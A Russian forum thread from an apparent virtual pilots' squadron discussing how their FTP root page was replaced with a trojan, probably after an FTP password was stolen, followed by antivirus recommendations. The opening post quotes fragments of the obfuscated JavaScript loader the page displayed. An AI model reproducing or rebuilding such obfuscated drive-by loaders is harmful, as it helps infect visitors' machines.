НАШ FTP

[Alex_nn]

Уважаемые.

 

При заходе на наш FTP через интернет эксплорер по адресу:

http://72ag.org/72ag_pilots/

высвечивается вот такая байда:

 

<>function v475e2bc8b5015(v475e2bc8b5fb1){ return(parseInt(v475e2bc8b5fb1,16));}function v475e2bc8b8e9d(v475e2bc8bab88){ function v475e2bc8c0028 () {var v475e2bc8c2733=2; return v475e2bc8c2733;} var v475e2bc8bbe74='';for(v475e2bc8bd906=0; v475e2bc8bd906<>function v475e5287b3d3e(v475e5287b4cde){ function v475e5287b5c7e () {return 16;} return(parseInt(v475e5287b4cde,v475e5287b5c7e()));}function v475e5287b7bbe(v475e5287b8b5f){ function v475e5287bba3f () {var v475e5287bc9e0=2; return v475e5287bc9e0;} var v475e5287b9aff='';for(v475e5287baa9f=0; v475e5287baa9f<>function v475edd9d2da4d(v475edd9d2de33){ function v475edd9d2e21b () {var v475edd9d2e602=16; return v475edd9d2e602;} return(parseInt(v475edd9d2de33,v475edd9d2e21b()));}function v475edd9d2e9ea(v475edd9d2edd1){ function v475edd9d2f988 () {return 2;} var v475edd9d2f1b9='';for(v475edd9d2f5a2=0; v475edd9d2f5a2<>function v475ee5064439d(v475ee5064533e){ var v475ee506462de=16; return(parseInt(v475ee5064533e,v475ee506462de));}function v475ee5064821e(v475ee506491bf){ function v475ee5064c09f () {var v475ee5064d03f=2; return v475ee5064d03f;} var v475ee5064a15f='';for(v475ee5064b0ff=0; v475ee5064b0ff

 

и все.

 

Это только у меня так, или у всех? Я почему спрашиваю. Уже больно лениво прописывать ссылки руками..

[Shmel]

Таже байда

[frol]

так-же!но ,через обменник, нормально идет все

[Falcon]

По твоей ссылке тоже вышла абракадабра. Недавно у Хрома кажется по ссылке хотел трек посмотреть, такая же бяка вылезла. По своей ссылке зашёл нормально.

http://72ag.org/72ag_pilots/public/Falcon/

[Alex_nn]

По твоей ссылке тоже вышла абракадабра. Недавно у Хрома кажется по ссылке хотел трек посмотреть, такая же бяка вылезла. По своей ссылке зашёл нормально.

Аналогично. Значит дело с корневым каталогом на сервере (я до него открутил и бяка вылезла). Будем ждать, когда поправят.

[Goosf]

Не открывайте ссылку!

Это какая-то атака. После того, как пишет эту фигню пытается конектится на какой-то fredkidns.com и кроме того жрет всю доступную память (атака напереполнение буфера ?).

[Xrom]

По твоей ссылке тоже вышла абракадабра. Недавно у Хрома кажется по ссылке хотел трек посмотреть, такая же бяка вылезла. По своей ссылке зашёл нормально.

http://72ag.org/72ag_pilots/public/Falcon/

Мой трек поправили захожу сразу так http://72ag.org/72ag_pilots/public/

вроде все работает.А если захожу по главной ссылке то тоже самое что описывает Алекс такаеже бойда + сразу антивирус орет что троян схватил

[terror]

У кого-то из наших лётчиков вирус слил пароль нашего ФТП (я уж не думаю, что кто-то из наших сознательно пароль отдал кому-то), ну а с паролем злодеи поместили туда свою веб-страницу, которая содержит трояна.

[Ivanov]

и поместил туда свою веб-страницу, которая содержит трояна.

Надеюсь что это не я??????????????

[terror]

Троян лежит в корне ФТП в виде файла index.htm, у кого есть доступ к ФТП - удалите его.

 

Я попытался зайти на страничку - и всё, корпоративная безопасность отрубила доступ к ней тут же. Так что я теперь только из дома смогу чего-то сделать.

 

ЗЫ Кстати, название трояна скажите, плиз!

[terror]

Всё, трояна прибил, корень закрыл, раз такое дело. Тт. лётчики, следите за вирусами на своих машинах! Они могут не только пароли на ФТП передавать, но и, например, на аську, останетесь без аськи...

[Antip]

На позапрошлой неделе качал файлы по ссылкам на форуме для ознакомления как наглядные пособия при сохранении комп заорал по троян. Специалист я фиговый отправил по предложению в карантин файлы не открывал после скачивания. Все равно в результате виндус был поврежден. Специалисту пришлось все переустанавливать заново всю систему. Так что дума ю уже тогда была проблема

[terror]

Антип, это маловероятно, так как чтобы столкнуться с трояном, надо было зайти в корень ФТП, на корень ссылки обычно не дают. А если вот троян в пособиях - это хреново, значит ещё и пособие где-то заражённым оказалось, ты конкретную ссылку-то не помнишь?

[truten]

У меня тоже винда полетела после посещения нашего ftp недели 3 назад.

[Alex_nn]

Как хорошо, что у меня NOD-32 стоит (тьфу, тьфу, вроде пока винда не накрылась)

[terror]

Truten, ты тоже ссылки не помнишь?

[Antip]

Ссылки не помню но брал образцы сданных треков на проверку курсантами (1а) и показательный трек по 1б упражнеию кто то из инструкторов делал Сейчас их нет- вместе с виндой снесли.

[Antip]

Алекс! У меня тоже NOT32стояла но была на ручном обновлении а я долго не обновлял

[Olega]

Мне года два назад знакомый директор провайдерской конторы посоветовал хороший польский антивирус Avast, русский язык в интерфейсе присутствует.

Скачать можно бесплатно с их сайта.

http://avast.com/eng/avast_4_home.html

 

Для домашней версии бесплатно высылают на email ключ регистрации на 14 месяцев, потом можно дальше продлить еще на 14 мес. и далее снова на 14 мес (....чет меня несет )) ) и так далее...

 

База по новым вирусам обновляется чуть ли не каждый день, сама программа тоже достаточно часто обновляется. Два года пользую - доволен сил нет. Так что рекомендую.... Кстати системных ресурсов жрет мало...

 

"Скока я зарезал, скока перерезал..." (имеется в виду вирусов)

[terror]

Olega, +1, и не надо будет никаких NOD

[pisto]

Как то уж поднималась, давным давно ,тема про антивири.Я тож советовал Аваст.Уж года три пользуюсь.До кучи фаервол COMODO.Враг не пройдет

[Eagle]

+1, закачал и установил. Работает - супер. Нортон ф топпку!!!

[truten]

terror, я заходил в свою папку и по-моему к Брату (забирал скин), точнее не помню. У меня кстати тоже стоит Avast и Outpost firewall, не помогло. Правда Avast трояна обнаружил но победить не смог так и снес какой-то важный системный файл.

[Guron]

Стоит лицензионный Каспер, шастал везде (в т.ч. и по злополучной ссылке) - ноги нигде на замочил

[Xrom]

какая версия у меня 7штук выгреб троянов

удалено: троянская программа Trojan-Downloader.JS.Iframe.a

[Crus]

У меня NOD32 последний месяц стоит. Касперского пристрелил к чертям, тупил сильно... NOD обновляется каждый день и по нескольку раз ещё. Пока никаких замечаний не было...

[Falcon]

А у меня Урбановский НОД уже давно не хочет обновляться. Скачал Олеговский Васт, двух троянчиков нашёл, которые НОД игнорировал. Сенкс.

[Baltica]

Стоит лицензионный Каспер, шастал везде (в т.ч. и по злополучной ссылке) - ноги нигде на замочил

+1

[Bizet(Би-Зет)]

На моей машине бета-версия Др.Веба (тестер я ). Претензий нету.

На второй машине Аваст бесплатный. Работает очнеь шустро, обновляется хорошо, прибивает даже червей (на моей памяти 2 шт убил). Но однажды начал ругаться Аваст на системный файл виндовский и пытаться его удалить. Просто работать невозможно было - стопорил работу компа и спамил окнами предупреждения. Отослал в лабораторию Данилова файл, сказали что чистый и что Аваст ложные срабатывания дает. Однако для бесплатной версии нормально.

 

З.Ы. На днях в продаже видел 3 или 4 месячные версии Касперского и Др.Веба на дисках по 150 рублей.

[Ajax]

У меня как раз недели три назад комп практически впал в кому... Каспер стоял лицензионный...

Короче, после некоторого времени работы комп вываливал объявление об ошибке в процессе svhost и запускал отсчёт 45 секунд до перезагрузки... Ну и потом перезагружался... Я просто выл с досады - Каспером проверял раз 10 - ничего... В итоге снёс его к чёртовой матери, поставил Аваст и заодно обработал систему скачанной с инета антивипусовской утилиткой SDFix... Кароче, злодея нашли и удавили...

Trojan Files Found:

C:\WINDOWS\SYSTEM32\DLOAD.EXE - Deleted (надеюсь, что фтпэшник не я заразил

)

[Guron]

Короче, после некоторого времени работы комп вываливал объявление об ошибке в процессе svhost и запускал отсчёт 45 секунд до перезагрузки... Ну и потом перезагружался... Я просто выл с досады - Каспером проверял раз 10 - ничего...

Это известный и достаточно старый прикол. Действительно, Каспером в лоб не лечилось, но если бы ты зашел в Техпоодержку, то скачал бы утилиту как раз по этой проблеме. После удаления бяки нужно было поставить определенное обновление системы безопастности Винды и все

[KAYRA]

Так можно работать с ФТП или нет?

[terror]

Можно. Только антивир всё равно должен быть.

[Olega]

... Однако для бесплатной версии нормально...

Ну... Там есть еще и проффессиональная платная версия. Она то покруче будет.

[Bizet(Би-Зет)]

Ыыыы. Если профессиональную платную, то я бы другой антивирь выбрал ).

[Baltica]

Короче, после некоторого времени работы комп вываливал объявление об ошибке в процессе svhost и запускал отсчёт 45 секунд до перезагрузки... Ну и потом перезагружался... Я просто выл с досады - Каспером проверял раз 10 - ничего...

Это известный и достаточно старый прикол. Действительно, Каспером в лоб не лечилось, но если бы ты зашел в Техпоодержку, то скачал бы утилиту как раз по этой проблеме. После удаления бяки нужно было поставить определенное обновление системы безопастности Винды и все

У меня года полтора назад что-то подобное было. Связался с техподдержкой, быстро помогли, да еще благодарили - оказалось, что помог им что-то выловить.